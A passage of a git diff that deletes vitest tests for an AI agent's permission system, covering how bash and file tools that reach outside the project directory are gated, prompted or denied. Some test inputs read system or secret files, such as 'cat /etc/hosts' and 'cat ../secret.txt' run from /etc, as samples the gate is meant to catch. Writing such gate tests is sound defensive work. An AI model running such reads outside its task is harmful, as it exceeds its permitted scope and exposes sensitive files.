- } - }); - - it("allows a bash command referencing the typed (symlinked) path", async () => { - const { resolver, cleanup } = makeResolver({ - permission: { - external_directory: { "*": "ask", [`${linkDir}/*`]: "allow" }, - }, - }); - try { - const command = `cat ${join(linkDir, "file.ts")}`; - const tcc: ToolCallContext = { - toolName: "bash", - agentName: null, - input: { command }, - toolCallId: "tc-2", - cwd, - }; - const program = await BashProgram.parse( - command, - new PathNormalizer(pathFlavorForPlatform(process.platform), cwd), - ); - const result = describeBashExternalDirectoryGate(tcc, program, resolver); - // All external paths are covered by the allow → bypass, no prompt. - expect(isGateBypass(result)).toBe(true); - } finally { - cleanup(); - } - }); -}); diff --git a/pi-permission-system/test/handlers/gates/bash-external-directory.test.ts b/pi-permission-system/test/handlers/gates/bash-external-directory.test.ts deleted file mode 100644 index b78b2b7..0000000 --- a/pi-permission-system/test/handlers/gates/bash-external-directory.test.ts +++ /dev/null @@ -1,395 +0,0 @@ -import { homedir } from "node:os"; -import { join } from "node:path"; -import { describe, expect, it } from "vitest"; -import type { AccessIntent } from "#src/access-intent/access-intent"; -import { BashProgram } from "#src/access-intent/bash/program"; -import { describeBashExternalDirectoryGate } from "#src/handlers/gates/bash-external-directory"; -import type { - GateBypass, - GateDescriptor, - GateResult, -} from "#src/handlers/gates/descriptor"; -import { isGateBypass, isGateDescriptor } from "#src/handlers/gates/descriptor"; -import type { ToolCallContext } from "#src/handlers/gates/types"; -import { pathFlavorForPlatform, win32PathFlavor } from "#src/path/path-flavor"; -import { PathNormalizer } from "#src/path-normalizer"; -import type { ScopedPermissionResolver } from "#src/permission-resolver"; -import { - allEvidence, - findEvidence, - type PromptPayload, -} from "#src/presentation/prompt-payload"; -import type { PermissionCheckResult } from "#src/types"; -import { getNonEmptyString, toRecord } from "#src/value-guards"; - -import { makeResolver } from "#test/helpers/gate-fixtures"; - -// ── helpers ──────────────────────────────────────────────────────────────── - -/** Every escaping path the payload lists, in payload order. */ -function externalPaths(payload: PromptPayload): string[] { - return allEvidence(payload, "external path").map((entry) => entry.text); -} - -function makeTcc(overrides: Partial = {}): ToolCallContext { - return { - toolName: "bash", - agentName: null, - input: { command: "cat /outside/project/file.ts" }, - toolCallId: "tc-1", - cwd: "/test/project", - ...overrides, - }; -} - -function makeCheckResult( - state: "allow" | "deny" | "ask", - overrides: Partial = {}, -): PermissionCheckResult { - return { - state, - toolName: "external_directory", - source: "special", - origin: "builtin", - ...overrides, - }; -} - -/** Extract the policy match values a resolve(intent) call carries. */ -function intentValues(intent: AccessIntent): readonly string[] { - if (intent.kind === "access-path") return intent.path.matchValues(); - return []; -} - -/** - * Mirror the handler's parse-once derivation: parse the bash command into a - * shared `BashProgram` and inject it, exactly as `permission-gate-handler.ts` - * does, so the gate is exercised through the production wiring. - */ -async function describeGate( - tcc: ToolCallContext, - resolver: ScopedPermissionResolver, -): Promise { - const command = getNonEmptyString(toRecord(tcc.input).command); - const bashProgram = - tcc.toolName === "bash" && command - ? await BashProgram.parse( - command, - new PathNormalizer(pathFlavorForPlatform(process.platform), tcc.cwd), - ) - : null; - return describeBashExternalDirectoryGate(tcc, bashProgram, resolver); -} - -// ── tests ────────────────────────────────────────────────────────────────── - -describe("describeBashExternalDirectoryGate", () => { - it("returns null when tool is not bash", async () => { - const result = await describeGate( - makeTcc({ toolName: "read" }), - makeResolver(makeCheckResult("ask")), - ); - expect(result).toBeNull(); - }); - - it("returns null when command has no external paths", async () => { - const result = await describeGate( - makeTcc({ input: { command: "ls -la" } }), - makeResolver(makeCheckResult("ask")), - ); - expect(result).toBeNull(); - }); - - describe("resolved shell expansions (#694)", () => { - it("prompts for a $HOME write target that does not exist yet", async () => { - const resolver = makeResolver(makeCheckResult("ask")); - const result = await describeGate( - makeTcc({ - input: { - command: 'touch "$HOME/pi-permission-system-repro-new"', - }, - }), - resolver, - ); - expect(isGateDescriptor(result)).toBe(true); - expect(externalPaths((result as GateDescriptor).payload)).toEqual([ - join(homedir(), "pi-permission-system-repro-new"), - ]); - }); - - // biome-ignore lint/suspicious/noTemplateCurlyInString: intentional literal — a braced shell expansion, not a template string - it("prompts for a braced ${HOME} reference", async () => { - const result = await describeGate( - // biome-ignore lint/suspicious/noTemplateCurlyInString: intentional literal — a braced shell expansion, not a template string - makeTcc({ input: { command: 'ls "${HOME}/somewhere"' } }), - makeResolver(makeCheckResult("ask")), - ); - expect(isGateDescriptor(result)).toBe(true); - expect(externalPaths((result as GateDescriptor).payload)).toEqual([ - join(homedir(), "somewhere"), - ]); - }); - - it("does not prompt for a variable it cannot resolve", async () => { - const result = await describeGate( - makeTcc({ input: { command: 'CURRENT="$HOME"; ls "$CURRENT"' } }), - makeResolver(makeCheckResult("ask")), - ); - expect(result).toBeNull(); - }); - }); - - it("resolves each external path on the external_directory surface via an access-path intent (#418)", async () => { - const resolver = makeResolver(makeCheckResult("ask")); - await describeGate( - makeTcc({ input: { command: "cat /outside/a.ts" } }), - resolver, - ); - const intent = resolver.resolve.mock.calls[0][0]; - expect(intent).toMatchObject({ - kind: "access-path", - surface: "external_directory", - agentName: undefined, - }); - expect(intentValues(intent)).toEqual(["/outside/a.ts"]); - }); - - it("carries the deciding path's access facts on promptDetails (bash external_directory surface)", async () => { - const resolver = makeResolver(makeCheckResult("ask")); - const result = (await describeGate( - makeTcc({ input: { command: "cat /outside/a.ts" } }), - resolver, - )) as GateDescriptor; - const intent = resolver.resolve.mock.calls[0][0]; - const path = intent.kind === "access-path" ? intent.path : undefined; - expect(path).toBeDefined(); - expect(result.promptDetails.accessIntent).toEqual({ - surface: "external_directory", - matchValues: path?.matchValues(), - boundaryValue: path?.boundaryValue(), - }); - }); - - it("emits a bash_external_directory payload listing every escaping path", async () => { - const resolver = makeResolver(makeCheckResult("ask")); - const result = (await describeGate( - makeTcc({ input: { command: "cat /outside/a.ts" } }), - resolver, - )) as GateDescriptor; - - expect(result.payload.kind).toBe("bash_external_directory"); - // The command is the decision value; the paths it reaches are evidence. - expect(result.payload.request.value).toBe("cat /outside/a.ts"); - expect(result.payload.evidence).toContainEqual({ - label: "external path", - text: "/outside/a.ts", - detail: null, - }); - }); - - it("returns GateBypass when all external paths are session-covered", async () => { - const resolver = makeResolver( - makeCheckResult("allow", { source: "session" }), - ); - const result = await describeGate(makeTcc(), resolver); - expect(result).not.toBeNull(); - expect(isGateBypass(result)).toBe(true); - const bypass = result as GateBypass; - expect(bypass.action).toBe("allow"); - expect(bypass.log).toMatchObject({ - event: "permission_request.session_approved", - details: expect.objectContaining({ resolution: "session_approved" }), - }); - expect(bypass.decidedBy).toEqual({ - kind: "session_approval", - surface: "external_directory", - pattern: null, - }); - }); - - it("returns GateDescriptor with multi-pattern sessionApproval for uncovered paths", async () => { - const result = await describeGate( - makeTcc({ input: { command: "diff /outside/a.ts /outside/b.ts" } }), - makeResolver(makeCheckResult("ask")), - ); - expect(isGateDescriptor(result)).toBe(true); - const desc = result as GateDescriptor; - expect(desc.sessionApproval).toBeDefined(); - if (!desc.sessionApproval) return; - expect(desc.sessionApproval.patterns.length).toBeGreaterThan(0); - }); - - it("returns GateBypass when all external paths are config-level allowed", async () => { - // Config-level allow (source: "special") should suppress the prompt, - // not just session-level allow. This was the bug: source !== "session" - // kept config-allowed paths in the uncovered set. - const resolver = makeResolver(); - resolver.resolve.mockImplementation((intent) => - intentValues(intent).length > 0 - ? makeCheckResult("allow", { source: "special" }) - : makeCheckResult("ask"), - ); - const result = await describeGate(makeTcc(), resolver); - expect(result).not.toBeNull(); - expect(isGateBypass(result)).toBe(true); - }); - - it("uses worst-check state from uncovered paths for preCheck (config deny > catch-all ask)", async () => { - // The path-less extCheck used to always return the "*" catch-all (ask), - // silently downgrading a config-level deny to ask. After the fix, the - // descriptor's preCheck is derived from the actual path check result. - const resolver = makeResolver(); - resolver.resolve.mockImplementation((intent) => - intentValues(intent).length > 0 - ? makeCheckResult("deny", { source: "special" }) - : makeCheckResult("ask"), - ); - const result = await describeGate(makeTcc(), resolver); - expect(isGateDescriptor(result)).toBe(true); - const desc = result as GateDescriptor; - expect(desc.preCheck?.state).toBe("deny"); - }); - - it("descriptor surface is 'external_directory'", async () => { - const result = await describeGate( - makeTcc(), - makeResolver(makeCheckResult("ask")), - ); - const desc = result as GateDescriptor; - expect(desc.surface).toBe("external_directory"); - }); - - it("descriptor decision surface is 'external_directory'", async () => { - const result = await describeGate( - makeTcc(), - makeResolver(makeCheckResult("ask")), - ); - const desc = result as GateDescriptor; - expect(desc.decision.surface).toBe("external_directory"); - }); - - it("payload carries the command and the boundary it escaped", async () => { - const result = await describeGate( - makeTcc({ input: { command: "cat /outside/file.ts" } }), - makeResolver(makeCheckResult("ask")), - ); - const { payload } = result as GateDescriptor; - expect(payload.kind).toBe("bash_external_directory"); - expect(payload.request.value).toBe("cat /outside/file.ts"); - expect(findEvidence(payload, "working directory")?.text).toBe( - "/test/project", - ); - }); - - it("promptDetails includes command and tool_call source", async () => { - const result = await describeGate( - makeTcc({ agentName: "agent-1", toolCallId: "tc-5" }), - makeResolver(makeCheckResult("ask")), - ); - const desc = result as GateDescriptor; - expect(desc.promptDetails).toMatchObject({ - source: "tool_call", - agentName: "agent-1", - toolCallId: "tc-5", - toolName: "bash", - command: "cat /outside/project/file.ts", - }); - }); - - it("config-allowed path is excluded; remaining ask path produces a descriptor", async () => { - // One path config-allowed, one config-ask → descriptor with only the ask path. - const resolver = makeResolver(); - resolver.resolve.mockImplementation((intent) => - intentValues(intent).includes("/outside/a.ts") - ? makeCheckResult("allow", { source: "special" }) - : makeCheckResult("ask"), - ); - const result = await describeGate( - makeTcc({ input: { command: "diff /outside/a.ts /outside/b.ts" } }), - resolver, - ); - expect(isGateDescriptor(result)).toBe(true); - const desc = result as GateDescriptor; - expect(desc.sessionApproval).toBeDefined(); - if (!desc.sessionApproval) return; - expect(desc.sessionApproval.patterns.length).toBe(1); - expect(desc.preCheck?.state).toBe("ask"); - }); - - it("config-denied path makes worstCheck deny even when another path is ask", async () => { - // One path config-denied, one config-ask → descriptor with preCheck.state === "deny". - const resolver = makeResolver(); - resolver.resolve.mockImplementation((intent) => - intentValues(intent).includes("/outside/a.ts") - ? makeCheckResult("deny", { source: "special" }) - : makeCheckResult("ask"), - ); - const result = await describeGate( - makeTcc({ input: { command: "diff /outside/a.ts /outside/b.ts" } }), - resolver, - ); - expect(isGateDescriptor(result)).toBe(true); - const desc = result as GateDescriptor; - expect(desc.preCheck?.state).toBe("deny"); - // Both paths are uncovered (neither is allow), so both patterns are included. - expect(desc.sessionApproval).toBeDefined(); - if (!desc.sessionApproval) return; - expect(desc.sessionApproval.patterns.length).toBe(2); - }); - - it("only includes uncovered paths when some are session-covered", async () => { - const resolver = makeResolver(); - resolver.resolve.mockImplementation((intent) => - intentValues(intent).includes("/outside/a.ts") - ? makeCheckResult("allow", { source: "session" }) - : makeCheckResult("ask"), - ); - const result = await describeGate( - makeTcc({ input: { command: "diff /outside/a.ts /outside/b.ts" } }), - resolver, - ); - expect(isGateDescriptor(result)).toBe(true); - const desc = result as GateDescriptor; - // Should have patterns only for the uncovered path - expect(desc.sessionApproval).toBeDefined(); - if (!desc.sessionApproval) return; - expect(desc.sessionApproval.patterns.length).toBe(1); - }); -}); - -describe("describeBashExternalDirectoryGate — Git Bash semantics (win32)", () => { - async function describeGateWin32( - tcc: ToolCallContext, - resolver: ScopedPermissionResolver, - ): Promise { - const command = getNonEmptyString(toRecord(tcc.input).command); - const bashProgram = - tcc.toolName === "bash" && command - ? await BashProgram.parse( - command, - new PathNormalizer(win32PathFlavor, tcc.cwd), - ) - : null; - return describeBashExternalDirectoryGate(tcc, bashProgram, resolver); - } - - const winTcc = (command: string): ToolCallContext => - makeTcc({ cwd: "C:/projects/app", input: { command } }); - - it("does not prompt for a /dev/null redirect target", async () => { - const result = await describeGateWin32( - winTcc("echo hi > /dev/null"), - makeResolver(makeCheckResult("ask")), - ); - expect(result).toBeNull(); - }); - - it("prompts for a /tmp path displayed as typed, not as C:\\tmp", async () => { - const result = await describeGateWin32( - winTcc("ls /tmp"), - makeResolver(makeCheckResult("ask")), - ); - expect(isGateDescriptor(result)).toBe(true); - expect(externalPaths((result as GateDescriptor).payload)).toEqual(["/tmp"]); - }); -}); diff --git a/pi-permission-system/test/handlers/gates/external-directory-policy.test.ts b/pi-permission-system/test/handlers/gates/external-directory-policy.test.ts deleted file mode 100644 index 111853c..0000000 --- a/pi-permission-system/test/handlers/gates/external-directory-policy.test.ts +++ /dev/null @@ -1,135 +0,0 @@ -import { describe, expect, it } from "vitest"; -import { AccessPath } from "#src/access-intent/access-path"; -import { - resolveExternalDirectoryPolicy, - selectUncoveredExternalPaths, -} from "#src/handlers/gates/external-directory-policy"; -import { posixPathFlavor } from "#src/path/path-flavor"; -import type { PermissionCheckResult } from "#src/types"; - -import { makeResolver } from "#test/helpers/gate-fixtures"; - -const cwd = "/test/project"; - -function makeCheckResult( - state: "allow" | "deny" | "ask", - overrides: Partial = {}, -): PermissionCheckResult { - return { - state, - toolName: "external_directory", - source: "special", - origin: "builtin", - ...overrides, - }; -} - -describe("resolveExternalDirectoryPolicy", () => { - it("resolves the path's match aliases on the external_directory surface (#418)", () => { - const path = AccessPath.forPath("/outside/a.ts", { - cwd, - flavor: posixPathFlavor, - }); - const resolver = makeResolver(makeCheckResult("ask")); - - const result = resolveExternalDirectoryPolicy(path, resolver, undefined); - - expect(resolver.resolve).toHaveBeenCalledWith({ - kind: "access-path", - surface: "external_directory", - path, - agentName: undefined, - }); - expect(result).toEqual(makeCheckResult("ask")); - }); - - it("threads the agent name through to the resolver", () => { - const path = AccessPath.forPath("/outside/a.ts", { - cwd, - flavor: posixPathFlavor, - }); - const resolver = makeResolver(makeCheckResult("allow")); - - resolveExternalDirectoryPolicy(path, resolver, "reviewer"); - - expect(resolver.resolve).toHaveBeenCalledWith({ - kind: "access-path", - surface: "external_directory", - path, - agentName: "reviewer", - }); - }); -}); - -describe("selectUncoveredExternalPaths", () => { - it("returns no uncovered paths when every path resolves to allow", () => { - const paths = [ - AccessPath.forPath("/outside/a.ts", { cwd, flavor: posixPathFlavor }), - AccessPath.forPath("/outside/b.ts", { cwd, flavor: posixPathFlavor }), - ]; - const resolver = makeResolver(makeCheckResult("allow")); - - const { uncovered, worstCheck } = selectUncoveredExternalPaths( - paths, - resolver, - undefined, - ); - - expect(uncovered).toEqual([]); - expect(worstCheck).toBeUndefined(); - }); - - it("collects only paths whose resolved state is not allow", () => { - const allowed = AccessPath.forPath("/outside/ok.ts", { - cwd, - flavor: posixPathFlavor, - }); - const asked = AccessPath.forPath("/outside/ask.ts", { - cwd, - flavor: posixPathFlavor, - }); - const resolver = makeResolver(); - resolver.resolve.mockImplementation((intent) => { - const values = - intent.kind === "access-path" ? intent.path.matchValues() : []; - return values.includes("/outside/ok.ts") - ? makeCheckResult("allow") - : makeCheckResult("ask"); - }); - - const { uncovered } = selectUncoveredExternalPaths( - [allowed, asked], - resolver, - undefined, - ); - - expect(uncovered.map(({ path }) => path.value())).toEqual([asked.value()]); - }); - - it("returns the most restrictive uncovered check as worstCheck (deny > ask)", () => { - const asked = AccessPath.forPath("/outside/ask.ts", { - cwd, - flavor: posixPathFlavor, - }); - const denied = AccessPath.forPath("/outside/deny.ts", { - cwd, - flavor: posixPathFlavor, - }); - const resolver = makeResolver(); - resolver.resolve.mockImplementation((intent) => { - const values = - intent.kind === "access-path" ? intent.path.matchValues() : []; - return values.includes("/outside/deny.ts") - ? makeCheckResult("deny") - : makeCheckResult("ask"); - }); - - const { worstCheck } = selectUncoveredExternalPaths( - [asked, denied], - resolver, - undefined, - ); - - expect(worstCheck?.state).toBe("deny"); - }); -}); diff --git a/pi-permission-system/test/handlers/gates/external-directory.test.ts b/pi-permission-system/test/handlers/gates/external-directory.test.ts deleted file mode 100644 index 4d1f8d5..0000000 --- a/pi-permission-system/test/handlers/gates/external-directory.test.ts +++ /dev/null @@ -1,304 +0,0 @@ -import { describe, expect, it } from "vitest"; - -import type { - GateBypass, - GateDescriptor, -} from "#src/handlers/gates/descriptor"; -import { isGateBypass, isGateDescriptor } from "#src/handlers/gates/descriptor"; -import { describeExternalDirectoryGate } from "#src/handlers/gates/external-directory"; -import type { ToolCallContext } from "#src/handlers/gates/types"; -import { pathFlavorForPlatform } from "#src/path/path-flavor"; -import { PathNormalizer } from "#src/path-normalizer"; -import type { ScopedPermissionResolver } from "#src/permission-resolver"; -import type { ToolAccessExtractorLookup } from "#src/tool-access-extractor-registry"; -import { makeResolver } from "#test/helpers/gate-fixtures"; -import { makeCheckResult } from "#test/helpers/handler-fixtures"; - -// ── helpers ───────────────────────────��────────────────────────────��─────── - -function makeTcc(overrides: Partial = {}): ToolCallContext { - return { - toolName: "read", - agentName: null, - input: { path: "/outside/project/file.ts" }, - toolCallId: "tc-1", - cwd: "/test/project", - ...overrides, - }; -} - -// Default resolver for descriptor-shape tests that do not assert the resolved -// state: returns `ask` for the external_directory surface so a descriptor is -// produced. Tests that assert the typed+resolved matching pass an explicit -// resolver to `describeExternalDirectoryGate` directly. -function gateUnderTest( - tcc: ToolCallContext, - infraDirs: string[], - extractors?: ToolAccessExtractorLookup, - resolver: ScopedPermissionResolver = makeResolver( - makeCheckResult({ state: "ask", toolName: "external_directory" }), - ), -) { - return describeExternalDirectoryGate( - tcc, - infraDirs, - resolver, - new PathNormalizer(pathFlavorForPlatform(process.platform), tcc.cwd), - extractors, - ); -} - -// ── tests ────────────────────��────────────────────────────────────��──────── - -describe("describeExternalDirectoryGate", () => { - it("returns null when tool is not path-bearing", () => { - const result = gateUnderTest( - makeTcc({ toolName: "bash", input: { command: "ls" } }), - ["/test/agent"], - ); - expect(result).toBeNull(); - }); - - it("returns null when path is inside CWD", () => { - const result = gateUnderTest( - makeTcc({ input: { path: "/test/project/src/index.ts" } }), - ["/test/agent"], - ); - expect(result).toBeNull(); - }); - - // ── Pi infrastructure read bypass ─────────────────���──────────────────── - - it("returns GateBypass for read targeting an infra dir", () => { - const result = gateUnderTest( - makeTcc({ - toolName: "read", - input: { path: "/test/agent/git/some-package/SKILL.md" }, - }), - ["/test/agent", "/test/agent/git"], - ); - expect(result).not.toBeNull(); - expect(isGateBypass(result)).toBe(true); - const bypass = result as GateBypass; - expect(bypass.action).toBe("allow"); - expect(bypass.decision).toMatchObject({ - resolution: "infrastructure_auto_allowed", - result: "allow", - }); - expect(bypass.log).toMatchObject({ - event: "permission_request.infrastructure_auto_allowed", - }); - // Containment allowed this, not a rule the operator wrote. - expect(bypass.decidedBy).toEqual({ kind: "infrastructure_read" }); - }); - - it("returns GateBypass respecting custom infraDirs", () => { - const result = gateUnderTest( - makeTcc({ - toolName: "read", - input: { path: "/custom/infra/SKILL.md" }, - }), - ["/custom/infra"], - ); - expect(isGateBypass(result)).toBe(true); - }); - - it("does NOT bypass for write tools targeting infra dirs", () => { - const result = gateUnderTest( - makeTcc({ - toolName: "write", - input: { path: "/test/agent/git/some-file.ts", content: "x" }, - }), - ["/test/agent", "/test/agent/git"], - ); - // Should be a GateDescriptor (needs permission check), not a bypass - expect(result).not.toBeNull(); - expect(isGateDescriptor(result)).toBe(true); - }); - - // ── GateDescriptor for external paths ─────────────────────────────────�� - - it("returns GateDescriptor with surface 'external_directory'", () => { - const result = gateUnderTest(makeTcc(), ["/test/agent"]); - expect(isGateDescriptor(result)).toBe(true); - const desc = result as GateDescriptor; - expect(desc.surface).toBe("external_directory"); - }); - - it("decision value is the external path", () => { - const result = gateUnderTest( - makeTcc({ input: { path: "/outside/project/file.ts" } }), - ["/test/agent"], - ) as GateDescriptor; - expect(result.decision.value).toBe("/outside/project/file.ts"); - expect(result.decision.surface).toBe("external_directory"); - }); - - it("carries the child-fixed access facts on promptDetails (external_directory surface)", () => { - const path = "/outside/project/file.ts"; - const result = gateUnderTest(makeTcc({ input: { path } }), [ - "/test/agent", - ]) as GateDescriptor; - const accessPath = new PathNormalizer( - pathFlavorForPlatform(process.platform), - "/test/project", - ).forPath(path); - expect(result.promptDetails.accessIntent).toEqual({ - surface: "external_directory", - matchValues: accessPath.matchValues(), - boundaryValue: accessPath.boundaryValue(), - }); - }); - - it("emits an external_directory payload carrying the escaped boundary", () => { - const result = gateUnderTest( - makeTcc({ input: { path: "/outside/project/file.ts" } }), - ["/test/agent"], - ) as GateDescriptor; - - expect(result.payload.kind).toBe("external_directory"); - expect(result.payload.request.value).toBe("/outside/project/file.ts"); - expect(result.payload.evidence).toContainEqual({ - label: "working directory", - text: "/test/project", - detail: null, - }); - }); - - it("carries a precomputed preCheck and an empty input (matching is done by the gate)", () => { - const result = gateUnderTest( - makeTcc({ input: { path: "/outside/project/file.ts" } }), - ["/test/agent"], - ) as GateDescriptor; - expect(result.input).toEqual({}); - expect(result.preCheck).toBeDefined(); - expect(result.preCheck?.state).toBe("ask"); - }); - - it("resolves the typed and symlink-resolved aliases on the external_directory surface (#418)", () => { - const resolver = makeResolver( - makeCheckResult({ state: "ask", toolName: "external_directory" }), - ); - gateUnderTest( - makeTcc({ input: { path: "/outside/project/file.ts" } }), - ["/test/agent"], - undefined, - resolver, - ); - expect(resolver.resolve).toHaveBeenCalledWith( - expect.objectContaining({ - kind: "access-path", - surface: "external_directory", - agentName: undefined, - }), - ); - const intent = resolver.resolve.mock.calls[0][0]; - expect(intent.kind).toBe("access-path"); - if (intent.kind === "access-path") { - expect(intent.path.matchValues()).toEqual(["/outside/project/file.ts"]); - } - }); - - it("sessionApproval uses deriveApprovalPattern", () => { - const result = gateUnderTest( - makeTcc({ input: { path: "/outside/project/file.ts" } }), - ["/test/agent"], - ) as GateDescriptor; - expect(result.sessionApproval).toBeDefined(); - expect(result.sessionApproval?.surface).toBe("external_directory"); - expect(result.sessionApproval?.representativePattern).toBeDefined(); - }); - - it("payload contains the external path and the boundary it escaped", () => { - const result = gateUnderTest( - makeTcc({ input: { path: "/outside/project/file.ts" } }), - ["/test/agent"], - ) as GateDescriptor; - expect(result.payload.kind).toBe("external_directory"); - expect(result.payload.request.toolName).toBe("read"); - expect(result.payload.request.value).toBe("/outside/project/file.ts"); - expect(result.payload.evidence).toContainEqual({ - label: "working directory", - text: "/test/project", - detail: null, - }); - }); - - it("promptDetails includes path and tool_call source", () => { - const result = gateUnderTest( - makeTcc({ toolName: "read", agentName: "agent-1", toolCallId: "tc-5" }), - ["/test/agent"], - ) as GateDescriptor; - expect(result.promptDetails).toMatchObject({ - source: "tool_call", - agentName: "agent-1", - toolCallId: "tc-5", - toolName: "read", - path: "/outside/project/file.ts", - }); - }); - - it("logContext includes the path, and no prompt wording", () => { - const result = gateUnderTest(makeTcc(), ["/test/agent"]) as GateDescriptor; - expect(result.logContext).toMatchObject({ - source: "tool_call", - path: "/outside/project/file.ts", - }); - // The payload's request facts are stamped by the runner, not the gate. - expect(result.logContext).not.toHaveProperty("message"); - }); -}); - -// Extension and MCP tools are now external-directory gated (#352) ─────────── - -describe("describeExternalDirectoryGate — extension and MCP tools (#352)", () => { - it("gates an extension tool with an external input.path", () => { - const result = gateUnderTest( - makeTcc({ - toolName: "my-ext", - input: { path: "/outside/project/file.ts" }, - }), - ["/test/agent"], - ); - expect(isGateDescriptor(result)).toBe(true); - expect((result as GateDescriptor).surface).toBe("external_directory"); - }); - - it("gates an MCP tool with an external arguments.path", () => { - const result = gateUnderTest( - makeTcc({ - toolName: "mcp", - input: { arguments: { path: "/outside/project/file.ts" } }, - }), - ["/test/agent"], - ); - expect(isGateDescriptor(result)).toBe(true); - }); - - it("uses a registered extractor's external path for a custom-shaped tool", () => { - const extractors = { - get: (name: string) => - name === "ffgrep" - ? (input: Record) => - typeof input.target === "string" ? input.target : undefined - : undefined, - }; - const result = gateUnderTest( - makeTcc({ toolName: "ffgrep", input: { target: "/outside/project/x" } }), - ["/test/agent"], - extractors, - ); - expect(isGateDescriptor(result)).toBe(true); - }); - - it("returns null for an extension tool whose path is inside cwd", () => { - const result = gateUnderTest( - makeTcc({ - toolName: "my-ext", - input: { path: "/test/project/src/x.ts" }, - }), - ["/test/agent"], - ); - expect(result).toBeNull(); - }); -}); diff --git a/pi-permission-system/test/handlers/gates/runner.test.ts b/pi-permission-system/test/handlers/gates/runner.test.ts index b86207d..b930c69 100644 --- a/pi-permission-system/test/handlers/gates/runner.test.ts +++ b/pi-permission-system/test/handlers/gates/runner.test.ts @@ -847,29 +847,6 @@ describe("GateRunner — request identity", () => { expect(decisions[0].requestId).toBe(reviewWrites[0].details.requestId); }); - it("stamps a bypass's log entry and decision event with one id", async () => { - const { runner, reviewWrites, decisions } = makeRecordingRunner(); - const bypass: GateBypass = { - action: "allow", - decidedBy: { kind: "infrastructure_read" }, - log: { - event: "permission_request.infrastructure_auto_allowed", - details: { path: "/x" }, - }, - decision: { - surface: "read", - value: "/x", - result: "allow", - resolution: "infrastructure_auto_allowed", - origin: null, - agentName: null, - matchedPattern: null, - }, - }; - await runner.run(bypass, null); - expect(decisions[0].requestId).toMatch(/^perm-/); - expect(decisions[0].requestId).toBe(reviewWrites[0].details.requestId); - }); it("stamps an allow decision event even when nothing is written to the log", async () => { const { runner, decisions } = makeRecordingRunner(); diff --git a/pi-permission-system/test/handlers/gates/tool-call-gate-pipeline.test.ts b/pi-permission-system/test/handlers/gates/tool-call-gate-pipeline.test.ts index 6c69966..8209b36 100644 --- a/pi-permission-system/test/handlers/gates/tool-call-gate-pipeline.test.ts +++ b/pi-permission-system/test/handlers/gates/tool-call-gate-pipeline.test.ts @@ -118,17 +118,6 @@ describe("ToolCallGatePipeline", () => { expect(getToolPreviewLimits).toHaveBeenCalled(); }); - it("calls getInfrastructureReadDirs() during evaluate", async () => { - const getInfrastructureReadDirs = vi.fn<() => string[]>(() => []); - const resolver = makeResolver(makeCheckResult()); - const inputs = makeGateInputs({ getInfrastructureReadDirs }); - const { runner } = makeGateRunner(); - const pipeline = new ToolCallGatePipeline(resolver, inputs); - - await pipeline.evaluate(makeTcc({ toolName: "read", input: {} }), runner); - - expect(getInfrastructureReadDirs).toHaveBeenCalled(); - }); it("calls getActiveSkillEntries() during evaluate", async () => { const getActiveSkillEntries = vi.fn<() => []>(() => []); diff --git a/pi-permission-system/test/handlers/shell-tool-alias.test.ts b/pi-permission-system/test/handlers/shell-tool-alias.test.ts index 5b582d4..01c385b 100644 --- a/pi-permission-system/test/handlers/shell-tool-alias.test.ts +++ b/pi-permission-system/test/handlers/shell-tool-alias.test.ts @@ -154,35 +154,6 @@ describe("shell-tool alias gating (#574)", () => { ); }); - it("gates an aliased tool's workdir and its relative tokens via external_directory", async () => { - const { handler, events } = makeHandler({ - shellTools: execShellTools, - tools: ["exec_command"], - session: { - checkPermission: makeSurfaceCheck( - { external_directory: { state: "deny", matchedPattern: "*" } }, - { state: "allow" }, - ), - }, - }); - - // workdir /etc is outside the cwd; the relative token resolves against it. - await handler.handleToolCall( - makeToolCallEvent("exec_command", { - input: { cmd: "cat ../secret.txt", workdir: "/etc" }, - }), - makeCtx(), - ); - - const decisions = getDecisionEvents(events); - expect(decisions).toContainEqual( - expect.objectContaining({ - surface: "external_directory", - result: "deny", - resolution: "policy_deny", - }), - ); - }); it("floors an indirection wrapper (sudo) in an aliased command to ask (#490)", async () => { const { handler, events } = makeHandler({ diff --git a/pi-permission-system/test/handlers/tool-call-events.test.ts b/pi-permission-system/test/handlers/tool-call-events.test.ts index 8022905..c22d55d 100644 --- a/pi-permission-system/test/handlers/tool-call-events.test.ts +++ b/pi-permission-system/test/handlers/tool-call-events.test.ts @@ -223,34 +223,6 @@ describe("handleToolCall decision events — confirmation_unavailable", () => { }); }); -// ── infrastructure_auto_allowed path ────────────────────────────────────── - -describe("handleToolCall decision events — infrastructure_auto_allowed", () => { - it("emits allow with infrastructure_auto_allowed for Pi infra reads", async () => { - const infraDir = "/test/agent"; - const { handler, events } = makeHandler({ - session: { - checkPermission: vi.fn().mockReturnValue(makeCheckResult()), - getInfrastructureReadDirs: vi.fn().mockReturnValue([infraDir]), - }, - }); - - const event = makeToolCallEvent("read", { - input: { path: `${infraDir}/some-file.json` }, - }); - await handler.handleToolCall(event, makeCtx()); - - const decisions = getDecisionEvents(events); - const infraEvents = decisions.filter( - (e) => e.resolution === "infrastructure_auto_allowed", - ); - expect(infraEvents).toHaveLength(1); - expect(infraEvents[0]).toMatchObject({ - result: "allow", - resolution: "infrastructure_auto_allowed", - }); - }); -}); // ── auto_approved path (yolo mode) ─────────────────────────────────── diff --git a/pi-permission-system/test/handlers/tool-call.test.ts b/pi-permission-system/test/handlers/tool-call.test.ts index 5d09098..e59c7f9 100644 --- a/pi-permission-system/test/handlers/tool-call.test.ts +++ b/pi-permission-system/test/handlers/tool-call.test.ts @@ -292,86 +292,6 @@ describe("handleToolCall — bash command chain gate", () => { }); }); -// --------------------------------------------------------------------------- -// Moved from permission-system.test.ts catch-all (#342) -// --------------------------------------------------------------------------- - -describe("handleToolCall — bash external-directory policy states", () => { - it("allows bash command with only internal paths when external_directory is denied", async () => { - const { handler } = makeHandler({ tools: ["bash"] }); - const event = makeToolCallEvent("bash", { - input: { command: "cat src/index.ts" }, - }); - const result = await handler.handleToolCall(event, makeCtx()); - expect(result).toEqual({ action: "allow" }); - }); - - it("blocks bash command with external path when external_directory is ask and no UI", async () => { - const { handler } = makeHandler({ - session: { - checkPermission: makeSurfaceCheck({ - external_directory: { state: "ask", source: "special" }, - }), - }, - tools: ["bash"], - prompter: { - escalate: vi.fn().mockResolvedValue({ - approved: false, - state: "denied", - confirmationUnavailable: true, - }), - }, - }); - const event = makeToolCallEvent("bash", { - input: { command: "cat /etc/hosts" }, - }); - const result = await handler.handleToolCall( - event, - makeCtx({ hasUI: false }), - ); - expect(result).toMatchObject({ action: "block" }); - expect(String((result as { reason?: unknown 